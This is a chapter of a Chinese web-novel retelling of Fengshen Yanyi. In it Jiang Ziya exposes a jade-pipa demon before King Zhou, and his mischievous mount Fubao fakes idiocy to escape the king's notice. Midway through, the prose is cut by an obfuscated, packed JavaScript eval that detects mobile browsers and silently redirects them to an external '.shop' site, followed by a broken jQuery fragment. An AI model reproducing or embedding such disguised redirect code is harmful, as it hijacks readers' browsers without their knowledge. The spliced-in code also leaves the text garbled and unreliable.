姜子牙抱着福宝一路快步回到宅院,关上门,才长长出了一口气。

    他低头看怀中那只金毛小兽,福宝正翻着肚皮,四蹄朝天,一双碧眼恶狠狠地瞪着他。

    姜子牙把她放在榻上,她立刻一个翻身跳起来,“嗷呜”一口咬住他的袖口,吊在半空,死活不松口。

    姜子牙疼得直抽气,掐诀将她变回人形,他原本备着的一套女子新衫就搁在枕边,趁她身形一展开,便将衣裳兜头罩下,好歹遮了体面。

    福宝懵了一瞬,然后低头看到自己又有了手有了脚,欢喜得原地蹦了一下,蹦得太高险些撞上房梁。

    她稳住身形,打量四周,见这屋子窗明几净,墙角摆着竹书架,桌上搁着笔墨,又看姜子牙,忽然道:“方才她一路追我,我要回去看看!”

    姜子牙:“不可。”

    福宝叉着腰:“我不管!我在她家住了大半个月,你一来就把我变成毛球,她肯定要担心。我得回去看看她。”

    姜子牙眉心一跳:“你如今是坐骑身份,身负封神大任……”

    “什么坐骑不坐骑的!”福宝压根不听他讲完,转身就往外走,“我本来过得好好的,忽然冒出一个老头子说是主人,谁信!”

    姜子牙叹了口气,在她身后道:“你信不信我无所谓。可你若回去,那赵三郎岂肯放过你?柳氏又怎么护得住你?”

    福宝脚步一顿,想起那日赵三郎的嘴脸,心里虽然恼怒,却也不得不承认他说得有道理。

    她赌气坐在门槛上,把脸扭到一边,金发散在肩头,像一匹流泻的锦缎。

    姜子牙好声好气地把那包桂花糕解开来,香气四溢,端到她面前:“吃吧,专门给你买的。”

    福宝闻到甜香,肚子不争气地咕噜一声,可嘴里还硬撑着哼:“我又不是狗,你给块糕就想打发?”

    姜子牙做小伏低:“那你想如何?”

    福宝眼珠子一转,目光从桂花糕移到他脸上,又顺着他领口往下滑,滑到腰间,忽然咧嘴一笑,露出两颗尖尖的小虎牙:“你让我摸一下腹肌,我就不走。”

    姜子牙险些把手里的桂花糕捏碎。

    他倒退一步,目光古怪地望着她:“你这都是从哪儿学来的话?”

    福宝歪着头,一本正经:“我虽然不记得从前的事,可见你第一眼就知道我喜欢这个。这大概是天生的。”

    姜子牙一时语塞。

    他在昆仑山修行八百年,各色人见过不少,可从来没见过哪只坐骑会提出这样的要求。

    他沉默片刻,索性将身一变,又变回那个鹤发童颜的老道模样,捋着白须淡淡道:“老道年纪大了,没有腹肌。姑娘要摸,不如去街角肉铺摸那猪板油。”

    福宝见他变回老头,那张俊脸一下子没了,登时如泄了气的皮囊,兴致全无。

    她白了一眼,站起身来,拍拍衣裳上并不存在的灰,道:“那我走了,老爷爷。”

    说着便要夺门而出。姜子牙忙又变回青年,拦住她:“你——”

    福宝一见那张脸,立马眉开眼笑,扑上去:“哎呀,这多好看!来,让我摸一把嘛。”

    姜子牙又变回老头。福宝又悻悻地转头走。

    他再变青年。

    她再扑。

    如此变来变去,足足折腾了有半个时辰。

    姜子牙只觉比跟妖魔斗法还累,一张俊脸白皙的面皮上浮起一层薄汗。

    福宝倒玩得不亦乐乎,最后笑得直不起腰,扶着墙连声道:“你、你再变一回,我保证不摸了,我就看看——”

    姜子牙忍无可忍,索性一把将她拽起来,摁在榻上,扯过棉被把她裹成一只茧,只露出一个毛茸茸的脑袋,沉声道:“你好好睡觉,明日带你去街上玩。”

    福宝在被子里扭来扭去,像条离水的鱼:“你放开我!你这样我怎么睡!”

    姜子牙不理她,又用一根腰带在外头扎了一道。

    福宝折腾不过,渐渐累了,哼唧几声,竟然真的合上眼睡了过去。

    姜子牙坐在榻边,看着她熟睡的脸,她睡相很甜,带着一种不设防的安详,金色的睫毛在灯火里微微颤动。

    他不由想起在昆仑山上她也是这般,卧着卧着就翻出肚皮。

    他轻轻替她掖了掖被角,方起身,走到外间,在一张竹椅上坐下来,闭目调息。

    自此日起,这院中便再没有片刻清净。

    白日里,福宝睡饱了便在院子里撒欢。

    她不觉得自己力气大,一抬手便掀翻水缸,一抬脚便踩碎青砖,院子里那棵石榴树被她两三下便爬上了树顶,坐在枝丫上晃着脚,摘下一把石榴花往下撒。

    姜子牙在树下看着满地残花,心痛不已,道:“那是主人家的树。”

    福宝道:“管他谁的树,我乐意。”

    她又跳下来,蹲在井边,对着水面照了又照,忽然惊叫:“我眼睛怎么是绿的?”

    姜子牙道:“你自来就是这样。”

    福宝转惊为喜:“怪不得那日我照镜子,觉得这世上怎么有人这样好看。”

    如此作威作福了三日,姜子牙实在头大。

    第四日一早,福宝起床后没见姜子牙的人影,便走出院门寻他。

    只见院门外围了不少街坊,都在窃窃私语。

    一个青布衣袍的老妇人拉着福宝的手道:“姑娘,你家那位道士老爷,在命馆门口打死人了!”

    福宝一惊,也顾不上别的,撒腿就跑。

    到了命馆门口,果然见姜子牙站在那儿,手里拿着一方巴掌大的紫石砚台,砚沿上沾着几缕赤红,地上躺着一具女尸。

    那尸体卧在地上,身着青衫,散着头发,一团浆白的脑浆流在耳侧,看着十分骇人。

    围观百姓指指点点:“啧啧,杀人了,还是个年轻女子!”

    福宝吓得瞳孔一缩:“你……你杀人了?”

    姜子牙却神色从容,甚至带着一丝冷意。

    他看了福宝一眼,淡淡道:“你仔细看她。”

    福宝壮着胆子又看向地上那具尸体,忽然察觉哪里不对,那尸身虽似人形,却隐隐散发出一股腥甜的气味,肌肤上隐有玉色的光泽。

    她凑近了一些,仔细一看,发现那女人颈侧有几道深红色的纹路,像琵琶弦的印子。

    福宝心里咯噔一下,虽失忆,但天生的灵觉还在。

    这姑娘不是人。

    姜子牙见她眼神变化,知道她已察觉,便对她低声道:“这是玉石琵琶精,修行千年,化成人形。她听闻我能识阴阳、断吉凶,今日便化作女子前来试探。”

    “我一见她进门,便瞧出她妖气缠身,故意将计就计,说起她前世之事。那妖听了心虚,想施法暗害于我,我便顺手取了案上砚台,打了她天灵盖。”

    他说着,看向那女尸,微微蹙眉:“只是这妖魔邪气未散,若不除根,她会复生。”

    福宝道:“那怎么办?”

    姜子牙道:“她既以人身现于众目睽睽之下,我若不明不白杀她,反成乱民。须见官,在驾前用三昧真火炼出原形,方显此事清白。”

    说着他低头看了看福宝:“你得陪我去走一趟。”

    福宝眼睛一亮:“进宫?”

    姜子牙道:“嗯。朝歌城,殷商王宫。你不想去看看?”

    福宝本来还有些怕,一听说进宫,好奇心立刻压过了恐惧,连连点头。

    当下姜子牙扯下一块袍角裹住那女尸的头颈,将尸首缚在背上。

    又取了封神榜与打神鞭藏在袖中。

    福宝跟在他身后,走出命馆时,街边早已围满了看热闹的百姓。

    有人指着姜子牙的鼻子骂杀人犯,有人跺脚道:“这老道心忒狠!”

    姜子牙充耳不闻,只挺直了腰杆,背着那具青衫女尸,一步一步朝朝歌城门走去。

    他白发苍苍,身形却笔直如松,背后的尸首衣裾垂在他膝弯处,远远望过去,竟有一种沉默的悲壮之感。

    福宝走在旁边,边走边回头看在后面紧随的众人。

    她心里其实又激动又紧张,也不知道会发生什么。

    走到半路,她忽然小声问姜子牙:“你……会不会有事?”

    姜子牙微微侧过头,看了她一眼。那一眼里没有慌乱,反而有一种安抚般的沉着。他道:“不必担心。天命在我。”

    福宝撇撇嘴:“谁担心你了。”

    朝歌城,乃是殷商都城,街市繁华,楼阁连云。

    皇宫宫墙高耸,朱门铜钉,宫外立着一排披甲执戈的卫兵,威风凛凛。

    姜子牙背着尸首到了皇城门口,立时便被卫兵拦住,一片刀剑出鞘之声。

    姜子牙不慌不忙,从袖中取出一块令牌,是他初下山时,元始天尊赐的“玉虚符命”,凡人看不透其灵光,只觉那令牌金光闪闪,气派非凡。

    守卫不敢造次,通报进去。

    不多时,宫内传出旨意,放行。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974567|214718||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姜子牙带着福宝入宫,福宝走在平整的汉白玉石板上,好奇地东张西望。

    宫中廊柱雕龙画凤,飞檐翘角,一处比一处华丽。

    她看什么都新鲜,姜子牙低声提醒她:“别东张西望。”

    福宝嘴上应着,眼珠子还是滴溜溜转个不停。

    转过一座大殿,有宦官引路,将他们带到了一座偏殿。

    殿中金炉熏香,锦帐低垂,正中台阶上坐着一个高大男人,身披绛紫衮服,头戴旒冠,面容威严,但双目略显浮肿,神色间带着一股慵懒的倦意,正是殷商天子纣王。

    纣王身后侍立着一位绝色女子,身段妖娆,眼眸流波,正是九尾狐附身的妲己。

    姜子牙放下尸首,掸了掸衣袍,上前行了一个礼,将前因后果一一奏明。

    纣王听罢,先是面露不悦:“你这道人,在城中开馆算命,却当街打死良家女子,还敢来见孤?”

    姜子牙不慌不忙道:“臣杀的不是人,是妖。”

    纣王冷笑:“有何凭证?”

    姜子牙不答,袖中取出一道符印,金光暴涨,瞬息间笼罩住地上的女尸。

    那女尸猛然一颤,四肢痉挛,随即一股赤红的火焰从她头顶“蓬”地燃起。

    三昧真火乃道家无上圣火,能炼妖邪。

    在场众人惊得连连后退,妲己更是面色微变,下意识捏紧了袖中的手指。

    只见那火越烧越旺,尸身上皮肉剥离,发出滋滋的响声,一股焦臭味弥漫开来。

    福宝捂着鼻子,探着头看,火光中,那尸身碎成片片,只剩下一把白玉色的琵琶,琴头雕着海棠花,琴身莹润如脂,弦上犹带一缕青气。

    纣王看得目瞪口呆:“这……这竟是一把琵琶?”

    姜子牙道:“此乃轩辕坟中千年玉石琵琶,修炼成精,幻化人形,图谋混入宫中为害大王。今已被臣三昧真火烧出原形,大王当明鉴。”

    妲己眼中掠过一丝阴毒,口上却笑着道:“大王,这道士道法高深,真是天赐良师。”

    纣王哈哈大笑,挥手道:“好!好!果然高明!”

    姜子牙方才松了口气,谁知纣王的目光一偏,落在了他身后的福宝身上。

    宫灯炽亮,照在她金发碧眼之上,映出一层令人目眩的柔光。

    她穿着一件柳氏送的天青色旧衣,虽洗得发白,却掩不住那惊心动魄的明艳。

    纣王的目光顺着她眉梢、鼻梁、嘴唇一路滑下去,在福宝脸上停住了。

    他不由自主地坐直了身子,又揉了揉眼睛,仿佛不敢相信眼前所见。

    半晌,他带着一丝笑意问姜子牙:“这位姑娘是?”

    姜子牙眼皮一跳,心中警钟大作。他正要开口,福宝却抢先一步,转过头来,目光直直地望向纣王。

    然后她做了个令所有人措手不及的动作。

    她咧开嘴,露出一个痴痴傻傻的笑,一条亮晶晶的口水顺着嘴角往下淌,滴在衣襟上。

    她又翻了个白眼,鼻孔翕动,像闻什么东西似的,嘴里含含糊糊道:“嘿嘿……大……大王……赏……赏饭吃……”

    姜子牙:“……”

    满殿寂静。

    纣王脸上那笑意一点一点僵住了。

    他看看福宝那呆滞的眼神,又看看她嘴角挂着的口水,方才那点惊艳之心顿时如烛火被水浇灭,烟消云散。

    他嫌恶地摆摆手:“罢了罢了,原来是个痴女。姜道长,你带她退下吧。”

    妲己在旁掩口笑道:“大王不喜欢,不如打发她去做杂役。”

    纣王不耐烦道:“随你罢。”

    姜子牙连忙谢恩,伸手拽住福宝的袖口,低声咬牙道:“走。”

    福宝被他拽着出了殿门,立马把嘴上的口水一擦,灵动地眨了眨眼:“怎么样?我演得逼真吧。”

    姜子牙面无表情:“你可真是个天才。你若在凡间做戏,能当着满朝文武的面白得一顿饭。”

    福宝得意洋洋道:“这算什么,我还会演呆子。”

    两人走出宫门,站在午门外,长风扑面。

    姜子牙回头望了一眼那巍峨宫城,心中一时感慨万千。

    他有封神大任,如今却连自家坐骑都管不住。

    福宝却已经蹦蹦跳跳地走在前面,回头冲他喊:“老道,你晚上给我买桂花糕,我帮你演戏怎么样?”

    姜子牙深吸一口气,仰头看天,一时分不清自己到底是来封神的,还是来带孩子的。